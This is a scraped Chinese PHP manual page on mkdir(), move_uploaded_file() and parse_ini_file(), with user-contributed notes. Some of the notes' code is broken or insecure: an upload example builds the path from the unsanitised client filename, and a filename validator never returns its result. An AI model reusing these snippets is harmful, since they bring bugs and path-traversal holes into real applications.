  int(2202009600)
  [8]=>
  int(1605079647)
  [9]=>
  int(1605080149)
  [10]=>
  int(1605080149)
  [11]=>
  int(4096)
  [12]=>
  int(4300808)
  ["dev"]=>
  int(2050)
  ["ino"]=>
  int(19923027)
  ["mode"]=>
  int(33188)
  ["nlink"]=>
  int(1)
  ["uid"]=>
  int(1000)
  ["gid"]=>
  int(1000)
  ["rdev"]=>
  int(0)
  ["size"]=>
  int(2202009600)
  ["atime"]=>
  int(1605079647)
  ["mtime"]=>
  int(1605080149)
  ["ctime"]=>
  int(1605080149)
  ["blksize"]=>
  int(4096)
  ["blocks"]=>
  int(4300808)
}
"
;?>
salsi at icosaedro dot it 07-Jan-2016 07:29
This function fails and returns FALSE with files larger than 2 GB on Linux 32-bits (PHP 7.1.0-dev):

    $ dd if=/dev/zero of=/tmp/huge bs=1048576 count=2050
    $ php -r 'var_dump(lstat("/tmp/huge"));'
    --> Warning: lstat(): Lstat failed for /tmp/huge in Command line code on line 1

Window not tested. PHP 64-bits not tested.


新建目录

  • ? lstat
  • move_uploaded_file ?
  • PHP Manual
  • 文件系统函数
  • 新建目录

mkdir

(PHP 4, PHP 5, PHP 7, PHP 8)

mkdir — 新建目录

说明

mkdir(
string $directory,
int $permissions = 0777,
bool $recursive = false,
?resource $context = null
): bool

尝试新建由 directory 指定的目录。

参数

directory

目录的路径。

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

permissions

默认权限是 0777，意味着最大可能的访问权。有关权限的更多信息请阅读 chmod() 页面。

Note:

permissions 在 Windows 下被忽略。

注意也许想用八进制数指定 permissions，也就是说该数应以零打头。permissions 也会被当前的 umask 修改，可以用 umask() 来改变。

recursive

如果为 true，还将会创建指定 directory 的任何父级目录，并具有相同的权限。

context

上下文流（context stream） resource。

返回值

成功时返回 true， 或者在失败时返回 false。

Note:

如果创建的目录已存在，则视为错误，仍然返回 false。在尝试创建之前，使用 is_dir() 或者 file_exists() 检查目录是否已经存在。

错误／异常

目录已存在时，产生 E_WARNING 错误。

如果因为权限问题无法创建目录，导致 E_WARNING 错误。

示例

Example #1 mkdir() 例子

<?php
mkdir("/path/to/my/dir", 0700);
?>

Example #2 通过 recursive 参数使用 mkdir()

<?php
// 期望的目录结构
$structure = './depth1/depth2/depth3/';

// 要创建嵌套结构，必须指定 mkdir()
// 的 $recursive 参数。

if (!mkdir($structure, 0777, true)) {
die('Failed to create directories...');
}

// ...
?>

参见

  • is_dir() - 判断给定文件名是否是一个目录
  • rmdir() - 删除目录
  • umask() - 改变当前的 umask

User Contributed Notes

chelidze dot givia at gmail dot com 12-Jul-2023 09:44
When creating a file using mkdir() the default root will be the DocumentRoot (in XAMPP) itself.

C:\xampp\htdocs\project/includes/something.php

If you use mkdir("myfile") in something.php, instead of creating the folder in includes, php will create it in the project folder
julius - grantzau - c-o-m 08-Mar-2011 08:10
Remember to use clearstatcache()

... when working with filesystem functions.

Otherwise, as an example, you can get an error creating a folder (using mkdir) just after deleting it (using rmdir).
jack dot sleight at gmail dot com 26-Mar-2010 03:26
When using the recursive parameter bear in mind that if you're using chmod() after mkdir() to set the mode without it being modified by the value of uchar() you need to call chmod() on all created directories. ie:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1/test2', 0777);
?>

May result in "/test1/test2" having a mode of 0777 but "/test1" still having a mode of 0755 from the mkdir() call. You'd need to do:

<?php
mkdir('/test1/test2', 0777, true);
chmod('/test1', 0777);
chmod('/test1/test2', 0777);
?>
Protik Mukherjee 03-Mar-2005 09:29
mkdir, file rw, permission related notes for Fedora 3////
If you are using Fedora 3 and are facing permission problems, better check if SElinux is enabled on ur system. It add an additional layer of security and as a result PHP cant write to the folder eventhough it has 777 permissions. It took me almost a week to deal with this!

If you are not sure google for SElinux or 'disabling SELinux' and it may be the cure! Best of luck!
aulbach at unter dot franken dot de 22-Jul-1999 02:37
This is an annotation from Stig Bakken:

The mode on your directory is affected by your current umask.  It will end
up having (<mkdir-mode> and (not <umask>)).  If you want to create one
that is publicly readable, do something like this:

<?php
$oldumask = umask(0);
mkdir('mydir', 0777); // or even 01777 so you get the sticky bit set
umask($oldumask);
?>


将上传的文件移动到新位置

  • ? mkdir
  • parse_ini_file ?
  • PHP Manual
  • 文件系统函数
  • 将上传的文件移动到新位置

move_uploaded_file

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

move_uploaded_file — 将上传的文件移动到新位置

说明

move_uploaded_file(string $from, string $to): bool

本函数检查并确保由 from 指定的文件是合法的上传文件（即通过 PHP 的 HTTP POST 上传机制所上传的）。如果文件合法，则将其移动为由 to 指定的文件。

这种检查显得格外重要，如果上传的文件有可能会造成对用户或本系统的其他用户显示其内容的话。

参数

from

上传的文件的文件名。

to

移动文件到这个位置。

返回值

成功时返回 true。

如果 from 不是合法的上传文件，不会出现任何操作，move_uploaded_file() 将返回 false。

如果 from 是合法的上传文件，但出于某些原因无法移动，不会出现任何操作，move_uploaded_file() 将返回 false。此外还会发出一条警告。

示例

Example #1 Uploading multiple files

<?php
$uploads_dir = '/uploads';
foreach ($_FILES["pictures"]["error"] as $key => $error) {
if ($error == UPLOAD_ERR_OK) {
$tmp_name = $_FILES["pictures"]["tmp_name"][$key];
// basename() 可以防止遍历攻击文件系统；
// 进一步验证/清理文件名可能是合适的
$name = basename($_FILES["pictures"]["name"][$key]);
move_uploaded_file($tmp_name, "$uploads_dir/$name");
}
}
?>

注释

Note:

move_uploaded_file() 对 open_basedir 是敏感的。不过，限制只针对 to 路径，因为允许移动上传的文件名 from 可能会与这些限制产生冲突。move_uploaded_file() 仅作用于通过 PHP 上传的文件以确保这个操作的安全性。

Warning

如果目标文件已经存在，将会被覆盖。

参见

  • is_uploaded_file() - 判断文件是否是通过 HTTP POST 上传的
  • rename() - 重命名一个文件或目录
  • 参见文件上传处理一章中的简单使用例子。

User Contributed Notes

chelidze dot givia at gmail dot com 06-Jul-2023 02:54
When using move_uploaded_file(). If the user uploads an image with a name that already exists, move_uploaded_file() will overwrite it. It's a good practice to store images in directories that you generate upon creating ur card/user/product etc...

<?php
    function generateDir(int $n): string {
         $characters="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
        $dir = "";
        for($i = 0; $i<$n; $i++){
            $index = rand(0, strlen($characters)-1);
            $dir .= $characters[$index];
        }
        return $dir;
    }

    $image = $_FILES["image"];
    $imagePath = 'images/'. generateDir(10) .'/'. $image["name"];

    // Make the directory first or else it will not proceed with the upload.
    mkdir($imagePath);

    // some error handling etc...

    move_uploaded_file($image["tmp_name"],  $imagePath);
?>
benbrown3882 at gmail dot com 19-May-2023 04:04
Ensure the upload temporary directory and the destination directory have "write" permissions for Other.
Juliano P. Santos 19-Mar-2019 10:25
For those which will use inotify-tools to start an event when move_uploaded_file put the file in a specific directory, be aware that move_uploaded_file will trigger the create event, and not the move event of inotify-tools.
Tom 05-Jan-2015 03:33
Nowhere does it say how to get the error/warning message when this fails.

The only way I know of doing it is something like this:

   if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_file)) {
      echo "<P>FILE UPLOADED TO: $target_file</P>";
   } else {
      echo "<P>MOVE UPLOADED FILE FAILED!</P>";
      print_r(error_get_last());
   }
Yousef Ismaeil Cliprz 17-Feb-2013 10:59
Security tips you must know before use this function :

First : make sure that the file is not empty.

Second : make sure the file name in English characters, numbers and (_-.) symbols, For more protection.

You can use below function as in example

<?php

/**
 * Check $_FILES[][name]
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz
 */
function check_file_uploaded_name ($filename)
{
    (bool) ((preg_match("`^[-0-9A-Z_\.]+$`i",$filename)) ? true : false);
}

?>

Third : make sure that the file name not bigger than 250 characters.

as in example :

<?php

/**
 * Check $_FILES[][name] length.
 *
 * @param (string) $filename - Uploaded file name.
 * @author Yousef Ismaeil Cliprz.
 */
function check_file_uploaded_length ($filename)
{
    return (bool) ((mb_strlen($filename,"UTF-8") > 225) ? true : false);
}

?>

Fourth: Check File extensions and Mime Types that you want to allow in your project. You can use : pathinfo() http://php.net/pathinfo

or you can use regular expression for check File extensions as in example

#^(gif|jpg|jpeg|jpe|png)$#i

or use in_array checking as

<?php

$ext_type = array('gif','jpg','jpe','jpeg','png');

?>

You have multi choices to checking extensions and Mime types.

Fifth: Check file size and make sure the limit of php.ini to upload files is what you want, You can start from http://www.php.net/manual/en/ini.core.php#ini.file-uploads

And last but not least : Check the file content if have a bad codes or something like this function http://php.net/manual/en/function.file-get-contents.php.

You can use .htaccess to stop working some scripts as in example php file in your upload path.

use :

AddHandler cgi-script .php .pl .jsp .asp .sh .cgi
Options -ExecCGI

Do not forget this steps for your project protection.
matthias dot dailey at gmail dot com 22-Jul-2011 01:26
The destination directory must exist; move_uploaded_file() will not automatically create it for you.
labsy at seznam dot org 03-May-2011 04:07
A note for PHP on Windows IIS platform:
PHP does obviously not like directory traversing among partitions, so if you set upload_tmp_dir to be on different partition as php-cgi.exe or php.exe is, upload_tmp_dir will NOT be accessible for file uploads! You will get ERROR 6 on any attempt to upload file, and file size will be 0.
Resolution is to have upload_tmp_dir set to a path under PHP install folder.
...and make sure this folder (and also session_save_path folder) has at least read/write permissions granted to AppPool owner (usually NETWORK SERVICE) and IIS web user (by default IUSR_).
wilcobeekhuizen at gmail dot com 30-Mar-2011 12:55
When uploading a file with a very long filename, for example 255 characters, move_uploaded_file fails. The longest file I've succesfully uploaded has a 247 character filename. So, although you can create a 250 character filename locally the server may not be able to move it.
Ray.Paseur sometimes uses Gmail 18-Aug-2010 08:42
You can only move the uploaded file once.  You can use copy() if you need the file in more than one place.
<?php // RAY_temp_upload_example.php
error_reporting(E_ALL);
echo "<pre>" . PHP_EOL;

// IF A FILE HAS BEEN UPLOADED
if (!empty($_FILES))
{
    // SHOW THE UPLOADED FILES
    print_r($_FILES);

    // TRY TO MOVE THE FILE TWICE - SECOND MOVE RETURNS FALSE
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;
    if (!move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])) echo "CANNOT MOVE {$_FILES["userfile"]["name"]}" . PHP_EOL;

    // SHOW THE UPLOADED FILES AFTER THE MOVE - NO VISIBLE CHANGE
    print_r($_FILES);
}

// END OF PHP, PUT UP THE HTML FORM TO GET THE FILE
?>
<!-- The data encoding type, enctype, MUST be specified as below -->
<form enctype="multipart/form-data" method="POST">
    <!-- MAX_FILE_SIZE must precede the file input field -->
    <input type="hidden" name="MAX_FILE_SIZE" value="300000" />
    <!-- Name of input element determines name in $_FILES array -->
    Send this file: <input name="userfile" type="file" />
    <input type="submit" value="Send File" />
</form>
chatchaw at tot dot co dot th 19-Oct-2009 12:03
When you use move_uploaded_file function to upload a file with utf-8  filename to linux system, you probably check your result by browsing to see the file in the target directory so please make sure that your terminal emulator or your samba configuration is set the character encoding to utf-8 otherwise  your file will be shown as ?????? (unreadable character).
Dan Delaney 13-Oct-2008 01:41
For those using PHP on Windows and IIS, you SHOULD set the "upload_tmp_dir" value in php.ini to some directory around where your websites directory is, create that directory, and then set the same permissions on it that you have set for your websites directory. Otherwise, when you upload a file and it goes into C:\WINDOWS\Temp, then you move it to your website directory, its permissions will NOT be set correctly. This will cause you problems if you then want to manipulate that file with something like ImageMagick's convert utility.
Mark Kazemier 27-Aug-2008 09:36
I have the same problem as the person two comments below me. When I use the move_uploaded_file function the permissions for the file are set to 0600. No matter what configurations you set.

I searched the internet and I found more people with the same problems, but no solutions. I set the umask of apache to 013 and still the files were set to 0600.

The copy function solves the problem. Another way to solve this problem is using the chmod function after uploading.
Florian S. in H. an der E. [.de] 17-Aug-2008 02:02
move_uploaded_file (on my setup) always makes files 0600 ("rw- --- ---") and owned by the user running the webserver (owner AND group).
Even though the directory has a sticky bit set to the group permissions!
I couldn't find any settings to change this via php.ini or even using "umask()".

I want my regular user on the server to be able to "tar cjf" the directory .. which would fail on files totally owned by the webserver-process-user;
the "copy(from, to)" function obeys the sticky-bit though!
nlgordon at iastate dot edu 16-Jul-2007 11:29
Just a helpful comment.  If you have open_basedir set then you must set upload_tmp_dir to somewhere within the open_basedir.  Otherwise the file upload will be denied.  move_uploaded_file might be open_basedir aware, but the rest of the upload process isn't.
bogusred 10-Jun-2007 01:58
If you have a directory in a *nix environment where you store all of your file uploads and your php script only seems to work when permissions for that directory are set to 777, here's how to fix it so that you can have the security benefits of 755 while still allowing your php scripts to work, including the move_uploaded_file().

through shell access, navigate to the directory that contains your uploads folder and run the following 2 commands:
chown -R nobody uploaddir
chmod -R 755 uploaddir

Replace 'uploaddir' with the name of your uploads directory. The first command changes the owner of the directory and files to 'nobody' which is what php operates under. The second changes the folder and files to only allow user access to writing. This is much more secure.

Hopefully this will help someone out there who had the same problem as me.
shacker at birdhouse dot org 10-Sep-2006 12:28
If you're dealing with files uploaded through some external FTP source and need to move them to a final destination, searching php.net for "mv" or "move" won't get you what you want. You want the rename() function.

http://www.php.net/manual/en/function.rename.php

(move_uploaded_file() won't work, since the POST vars won't be present.)
Rob Szarka 22-Aug-2006 06:18
Apparently the warning above might better be written "If the destination file already exists, it will be overwritten ... regardless of the destination file's permissions."

In other words, move_uploaded_file() executes as if it's root, not the user under which the web server is operating or the owner of the script that's executing.
Zarel 13-Apr-2006 06:12
nouncad at mayetlite dot com posted a function that uploaded a file, and would rename it if it already existed, to filename[n].ext

It only worked for files with extensions exactly three letters long, so I fixed that (and made a few other improvements while I was at it).

<?php
// Usage: uploadfile($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name'])
function uploadfile($origin, $dest, $tmp_name)
{
  $origin = strtolower(basename($origin));
  $fulldest = $dest.$origin;
  $filename = $origin;
  for ($i=1; file_exists($fulldest); $i++)
  {
    $fileext = (strpos($origin,'.')===false?'':'.'.substr(strrchr($origin, "."), 1));
    $filename = substr($origin, 0, strlen($origin)-strlen($fileext)).'['.$i.']'.$fileext;
    $fulldest = $dest.$newfilename;
  }

  if (move_uploaded_file($tmp_name, $fulldest))
    return $filename;
  return false;
}
?>
jest3r at mtonic dot net 19-Oct-2005 09:10
It seems that move_uploaded_file use the GROUP permissions of the parent directory of the tmp file location, whereas a simple "copy" uses the group of the apache process. This could create a security nighmare if your tmp file location is owned by root:wheel


解析一个配置文件

  • ? move_uploaded_file
  • parse_ini_string ?
  • PHP Manual
  • 文件系统函数
  • 解析一个配置文件

parse_ini_file

(PHP 4, PHP 5, PHP 7, PHP 8)

parse_ini_file — 解析一个配置文件

说明

parse_ini_file(string $filename, bool $process_sections = false, int $scanner_mode = INI_SCANNER_NORMAL): array|false

parse_ini_file() 载入一个由 filename 指定的 ini 文件，并将其中的设置作为一个关联数组返回。

ini 文件的结构和 php.ini 的相同。

参数

filename

要解析的 ini 文件的文件名。如果使用相对路径，则优先在相对于当前工作目录的目录中查找文件，如果未找到则在 include_path 中查找文件进行解析。

process_sections

如果将 process_sections 参数设为 true，将得到多维数组，包括了配置文件中的节名和配置。process_sections 的默认值是 false。

scanner_mode

可以是 INI_SCANNER_NORMAL（默认），也可以是 INI_SCANNER_RAW。如果提供了 INI_SCANNER_RAW，然后将不会解析选项值。

As of PHP 5.6.1 can also be specified as INI_SCANNER_TYPED. In this mode boolean, null and integer types are preserved when possible. String values "true", "on" and "yes" are converted to true. "false", "off", "no" and "none" are considered false. "null" is converted to null in typed mode. Also, all numeric strings are converted to integer type if it is possible.

返回值

成功时以关联数组 array 返回设置，失败时返回 false。

示例

Example #1 sample.ini 的内容

; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

urls[svn] = "http://svn.php.net"
urls[git] = "http://git.php.net"

Example #2 parse_ini_file() 例子

常量（并非像 __FILE__ 之类的"魔术常量"）也可以在 ini 文件中被解析，因此如果在运行 parse_ini_file() 之前定义了常量作为 ini 的值，将会被集成到结果中去。只有 ini 的值会被求值，且该值必须是常量。例如：

<?php

define('BIRD', 'Dodo bird');

// Parse without sections
$ini_array = parse_ini_file("sample.ini");
print_r($ini_array);

// Parse with sections
$ini_array = parse_ini_file("sample.ini", true);
print_r($ini_array);

?>

以上示例的输出类似于：

Array
(
    [one] => 1
    [five] => 5
    [animal] => Dodo bird
    [path] => /usr/local/bin
    [URL] => http://www.example.com/~username
    [phpversion] => Array
        (
            [0] => 5.0
            [1] => 5.1
            [2] => 5.2
            [3] => 5.3
        )

    [urls] => Array
        (
            [svn] => http://svn.php.net
            [git] => http://git.php.net
        )

)
Array
(
    [first_section] => Array
        (
            [one] => 1
            [five] => 5
            [animal] => Dodo bird
        )

    [second_section] => Array
        (
            [path] => /usr/local/bin
            [URL] => http://www.example.com/~username
        )

    [third_section] => Array
        (
            [phpversion] => Array
                (
                    [0] => 5.0
                    [1] => 5.1
                    [2] => 5.2
                    [3] => 5.3
                )

            [urls] => Array
                (
                    [svn] => http://svn.php.net
                    [git] => http://git.php.net
                )

        )

)

Example #3 parse_ini_file() 格式化 php.ini 文件

<?php
// 简单的函数，用于比较下面的结果
function yesno($expression)
{
return($expression ? 'Yes' : 'No');
}

// 使用 php_ini_loaded_file() 函数获取 php.ini 的路径
$ini_path = php_ini_loaded_file();

// 解析 php.ini
$ini = parse_ini_file($ini_path);

// Print and compare the values, note that using get_cfg_var()
// will give the same results for parsed and loaded here
echo '(parsed) magic_quotes_gpc = ' . yesno($ini['magic_quotes_gpc']) . PHP_EOL;
echo '(loaded) magic_quotes_gpc = ' . yesno(get_cfg_var('magic_quotes_gpc')) . PHP_EOL;
?>

以上示例的输出类似于：

(parsed) magic_quotes_gpc = Yes
(loaded) magic_quotes_gpc = Yes

Example #4 内插值

除了对常量求值之外，某些字符在 ini 值中具有特殊含义。此外，可以使用 ${} 语法读取环境变量和之前定义的配置项（参阅 get_cfg_var()）。

; | is used for bitwise OR
three = 2|3

; & is used for bitwise AND
four = 6&5

; ^ is used for bitwise XOR
five = 3^6

; ~ is used for bitwise negate
negative_two = ~1

; () is used for grouping
seven = (8|7)&(6|5)

; Interpolate the PATH environment variable
path = ${PATH}

; Interpolate the configuration option 'memory_limit'
configured_memory_limit = ${memory_limit}

Example #5 转义字符

Some characters have special meaning in double-quoted strings and must be escaped by the backslash prefix. First of all, these are the double quote " as the boundary marker, and the backslash \ itself (if followed by one of the special characters):

quoted = "She said \"Exactly my point\"." ; Results in a string with quote marks in it.
hint = "Use \\\" to escape double quote" ; Results in: Use \" to escape double quote

There is an exception made for Windows-like paths: it's possible to not escape trailing backslash if the quoted string is directly followed by a linebreak:

save_path = "C:\Temp\"

If one does need to escape double quote followed by linebreak in a multiline value, it's possible to use value concatenation in the following way (there is one double-quoted string directly followed by another one):

long_text = "Lorem \"ipsum\"""
 dolor" ; Results in: Lorem "ipsum"\n dolor

Another character with special meaning is $ (the dollar sign). It must be escaped if followed by the open curly brace:

code = "\${test}"

INI_SCANNER_RAW 模式不支持转义字符（在此模式下，所有字符都会"不做任何处理"）。

注意 ini 解析器不支持标准转义序列（\n、\t 等）。如有必要，使用 stripcslashes() 函数对 parse_ini_file() 后的结果进行后处理。

注释

Note:

本函数和 php.ini 文件无关，该文件在运行脚本时就已经处理过了。本函数可以用来读取应用程序的配置文件。

Note:

如果 ini 文件中的值包含任何非字母数字的字符，需要将其括在双引号中（"）。

Note: 有些保留字不能作为 ini 文件中的键名，包括：null、yes、no、true、false、on、off、none。除非使用 INI_SCANNER_TYPED 模式，否则 null、off、no 和 false 的值等效于 ""，on、yes 和 true 的值等效于 "1"。字符 ?{}|&~!()^" 也不能用在键名的任何地方，而且这些字符在选项值中有着特殊的意义。

Note:

不带等号的条目会忽略。例如"foo"会忽略，而"bar ="将会解析并添加空值。例如，会忽略 MySQL 在 my.cnf 中不带值的"no-auto-rehash"设置。

Note:

ini 文件通常被 Web 服务器视为纯文本，因此在请求时会提供给浏览器。这意味着为了安全起见，必须将 ini 文件保存在 docroot 之外，或者重新配置 Web 服务器，不会提供这些文件。如果不这么做，可能会带来安全风险。

参见

  • parse_ini_string() - 解析配置字符串

User Contributed Notes

manngo 30-Oct-2023 09:49
Securing your .ini file:

"ini files are generally treated as plain text by web servers and thus served to browsers if requested. That means for security you must either keep your ini files outside of your docroot or reconfigure your web server to not serve them. Failure to do either of those may introduce a security risk."

Alternatively, you can save you file as:

stuff.ini.php

add this to the beginning:

;<?php die('go away'); ?>

The semicolon at the beginning is treated as comment, so this line has no effect on the ini file.

Since the file has a .php extension, it will run through the PHP interpreter if you attempt to access this file directly, and the php block will be processed and exit.

The file extension has no ill effect on the parse_ini_file() function, and the .ini part is, of course, a matter of taste.
eciruam35 at gmail dot com 26-Sep-2023 02:34
fix a little bug (here) in function put_ini_file:

function put_ini_file($config, $file, $has_section = false, $write_to_file = true){
    $fileContent = '';
    if(!empty($config)){
        foreach($config as $i=>$v){
            if($has_section){
                $fileContent .= "\n[$i]".PHP_EOL.put_ini_file($v, $file, false, false);
            }
            else{
                if(is_array($v)){
                    foreach($v as $t=>$m){
//--->>> Here                        $fileContent .= "-->$i[$t] = ".(is_numeric($m) ? $m : '"'.$m.'"').PHP_EOL;
                        $fileContent .= "$i"."[] = ".(is_numeric($m) ? $m : '"'.$m.'"').PHP_EOL;
                    }
                }
                else $fileContent .= "$i = ".(is_numeric($v) ? $v : '"'.$v.'"').PHP_EOL;
            }
        }
    }

    if($write_to_file && strlen($fileContent)) return file_put_contents($file, $fileContent, LOCK_EX);
    else return $fileContent;
}
info () gaj ! design 16-Dec-2016 02:26
Not mentioned in the documentation, this function acts like include:

"Files are included based on the file path given or, if none is given, the include_path specified. If the file isn't found in the include_path, include will finally check in the calling script's own directory and the current working directory before failing."

(At least for PHP 7; have not checked PHP 5.)
YAPs 03-Jul-2016 08:49
This function for save ini files

<?php
function array_to_ini($array,$out="")
{
    $t="";
    $q=false;
    foreach($array as $c=>$d)
    {
        if(is_array($d))$t.=array_to_ini($d,$c);
        else
        {
            if($c===intval($c))
            {
                if(!empty($out))
                {
                    $t.="\r\n".$out." = \"".$d."\"";
                    if($q!=2)$q=true;
                }
                else $t.="\r\n".$d;
            }
            else
            {
                $t.="\r\n".$c." = \"".$d."\"";
                $q=2;
            }
        }
    }
    if($q!=true && !empty($out)) return "[".$out."]\r\n".$t;
    if(!empty($out)) return  $t;
    return trim($t);
}

function save_ini_file($array,$file)
{
    $a=array_to_ini($array);
    $ffl=fopen($file,"w");
    fwrite($ffl,$a);
    fclose($ffl);
}
?>
dschnepper at box dot com 09-Mar-2016 09:21
The documentation states:
Characters ?{}|&~!()^" must not be used anywhere in the key and have a special meaning in the value.

Here's the results of my experiments on what they mean:

; | is used for bitwise OR
three = 2|3

; & is used for bitwise AND
four = 6&5

; ^ is used for bitwise XOR
five = 3^6

; ~ is used for bitwise negate
negative_two = ~1

; () is used for grouping
seven = (8|7)&(6|5)

; ${...} is used for grabbing values from the environment, or previously defined values.
path = ${PATH}
also = ${five}

; ? I have no guess for
; ! I have no guess for
jbricci at ya-right dot com 15-Oct-2015 06:39
This core function won't handle ini key[][] = value(s), (multidimensional arrays), so if you need to support that kind of setup you will need to write your own function. one way to do it is to convert all the key = value(s) to array string [key][][]=value(s), then use parse_str() to convert all those [key][][]=value(s) that way you just read the ini file line by line, instead of doing crazy foreach() loops to handle those (multidimensional arrays) in each section, example...

ini file...... config.php

<?php

; This is a sample configuration file
; Comments start with ';', as in php.ini

[first_section]
one = 1
five = 5
animal = BIRD

[second_section]
path = "/usr/local/bin"
URL = "http://www.example.com/~username"

[third_section]
phpversion[] = "5.0"
phpversion[] = "5.1"
phpversion[] = "5.2"
phpversion[] = "5.3"

urls[svn] = "http://svn.php.net"
urls[git] = "http://git.php.net"

[fourth_section]

a[][][] = b
a[][][][] = c
a[test_test][][] = d
test[one][two][three] = true

?>

echo parse_ini_file ( "C:\\services\\www\\docs\\config.php" );

results in...

// PHP Warning:  syntax error, unexpected TC_SECTION, expecting '=' line 27 -> a[][][] = b

Here it simple function that handles (multidimensional arrays) without looping each key[][]= value(s)

<?php

function getIni ( $file, $sections = FALSE )
{
    $return = array ();

    $keeper = array ();

    $config = fopen ( $file, 'r' );

    while ( ! feof ( $config ) )
    {
        $line = trim ( fgets ( $config, 1024 ) );

        $line = ( $line == '' ) ? ' ' : $line;

        switch ( $line{0} )
        {
            case ' ':
            case '#':
            case '/':
            case ';':
            case '<':
            case '?':

            break;

            case '[':

            if ( $sections )
            {
                $header = 'config[' . trim ( substr ( $line, 1, -1 ) ) . ']';
            }
            else
            {
                $header = 'config';
            }

            break;

            default:

            $kv = array_map ( 'trim', explode ( '=', $line ) );

            $kv[0] = str_replace ( ' ', '+', $kv[0] );

            $kv[1] = str_replace ( ' ', '+', $kv[1] );

            if ( ( $pos = strpos ( $kv[0], '[' ) ) !== FALSE )
            {
                $kv[0] = '[' . substr ( $kv[0], 0, $pos ) . ']' . substr ( $kv[0], $pos );
            }
            else
            {
                $kv[0] = '[' . $kv[0] . ']';
            }

            $bt = strtolower ( $kv[1] );

            if ( in_array ( $bt, array ( 'true', 'false', 'on', 'off' ) ) )
            {
                $kv[1] = ( $bt == 'true' || $bt == 'on' ) ? TRUE : FALSE;
            }

            $keeper[] = $header . $kv[0] . '=' . $kv[1];
        }
    }

    fclose ( $config );

    parse_str ( implode ( '&', $keeper ), $return );

    return $return['config'];
}

// usage...

$sections = TRUE;

print_r ( $config->getIni ( "C:\\services\\www\\docs\\config.php" ),  $sections );

?>
Rekam 13-Apr-2014 09:59
You may want, in some very special cases, to parse multi-dimensional array with N levels in your ini file. Something like setting[data][config][debug] = true will result in an error (expected "=").

Here's a little function to match this, using dots (customizable).
<?php
function parse_ini_file_multi($file, $process_sections = false, $scanner_mode = INI_SCANNER_NORMAL) {
    $explode_str = '.';
    $escape_char = "'";
    // load ini file the normal way
    $data = parse_ini_file($file, $process_sections, $scanner_mode);
    if (!$process_sections) {
        $data = array($data);
    }
    foreach ($data as $section_key => $section) {
        // loop inside the section
        foreach ($section as $key => $value) {
            if (strpos($key, $explode_str)) {
                if (substr($key, 0, 1) !== $escape_char) {
                    // key has a dot. Explode on it, then parse each subkeys
                    // and set value at the right place thanks to references
                    $sub_keys = explode($explode_str, $key);
                    $subs =& $data[$section_key];
                    foreach ($sub_keys as $sub_key) {
                        if (!isset($subs[$sub_key])) {
                            $subs[$sub_key] = [];
                        }
                        $subs =& $subs[$sub_key];
                    }
                    // set the value at the right place
                    $subs = $value;
                    // unset the dotted key, we don't need it anymore
                    unset($data[$section_key][$key]);
                }
                // we have escaped the key, so we keep dots as they are
                else {
                    $new_key = trim($key, $escape_char);
                    $data[$section_key][$new_key] = $value;
                    unset($data[$section_key][$key]);
                }
            }
        }
    }
    if (!$process_sections) {
        $data = $data[0];
    }
    return $data;
}
?>

The following file:
<?php
/*
[normal]
foo = bar
; use quotes to keep your key as it is
'foo.with.dots' = true

[array]
foo[] = 1
foo[] = 2

[dictionary]
foo[debug] = false
foo[path] = /some/path

[multi]
foo.data.config.debug = true
foo.data.password = 123456
*/
?>

will result in:
<?php
parse_ini_file_multi('file.ini', true);

Array
(
    [normal] => Array
        (
            [foo] => bar
            [foo.with.dots] => 1
        )
    [array] => Array
        (
            [foo] => Array
                (
                    [0] => 1
                    [1] => 2
                )
        )
    [dictionary] => Array
        (
            [foo] => Array
                (
                    [debug] =>
                    [path] => /some/path
                )
        )
    [multi] => Array
        (
            [foo] => Array
                (
                    [data] => Array
                        (
                            [config] => Array
                                (
                                    [debug] => 1
                                )
                            [password] => 123456
                        )
                )
        )
)
?>
simon dot riget at gmail dot com 21-Feb-2013 07:23
.ini files or JSON file format as it is also known as, are very useful format to store stuff in. Especially large arrays.

Strangely enough there is this nice function to read the file, but no function to write it.

So here is one.

Use it as:  put_ini_file(string $file, array $array)

<?php
function put_ini_file($file, $array, $i = 0){
  $str="";
  foreach ($array as $k => $v){
    if (is_array($v)){
      $str.=str_repeat(" ",$i*2)."[$k]".PHP_EOL;
      $str.=put_ini_file("",$v, $i+1);
    }else
      $str.=str_repeat(" ",$i*2)."$k = $v".PHP_EOL;
  }
 if($file)
    return file_put_contents($file,$str);
  else
    return $str;
}
?>
jeremygiberson at gmail dot com 30-Apr-2009 04:01
Here is a quick parse_ini_file wrapper to add extend support to save typing and redundancy.
<?php
    /**
     * Parses INI file adding extends functionality via ":base" postfix on namespace.
     *
     * @param string $filename
     * @return array
     */
    function parse_ini_file_extended($filename) {
        $p_ini = parse_ini_file($filename, true);
        $config = array();
        foreach($p_ini as $namespace => $properties){
            list($name, $extends) = explode(':', $namespace);
            $name = trim($name);
            $extends = trim($extends);
            // create namespace if necessary
            if(!isset($config[$name])) $config[$name] = array();
            // inherit base namespace
            if(isset($p_ini[$extends])){
                foreach($p_ini[$extends] as $prop => $val)
                    $config[$name][$prop] = $val;
            }
            // overwrite / set current namespace values
            foreach($properties as $prop => $val)
            $config[$name][$prop] = $val;
        }
        return $config;
    }
?>

Treats this ini:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
database=users

[archive : base]
database=archive
*/
?>
As if it were like this:
<?php
/*
[base]
host=localhost
user=testuser
pass=testpass
database=default

[users:base]
host=localhost
user=testuser
pass=testpass
database=users

[archive : base]
host=localhost
user=testuser
pass=testpass
database=archive
*/
?>
goulven.ch AT gmail DOT com 29-Oct-2007 06:33
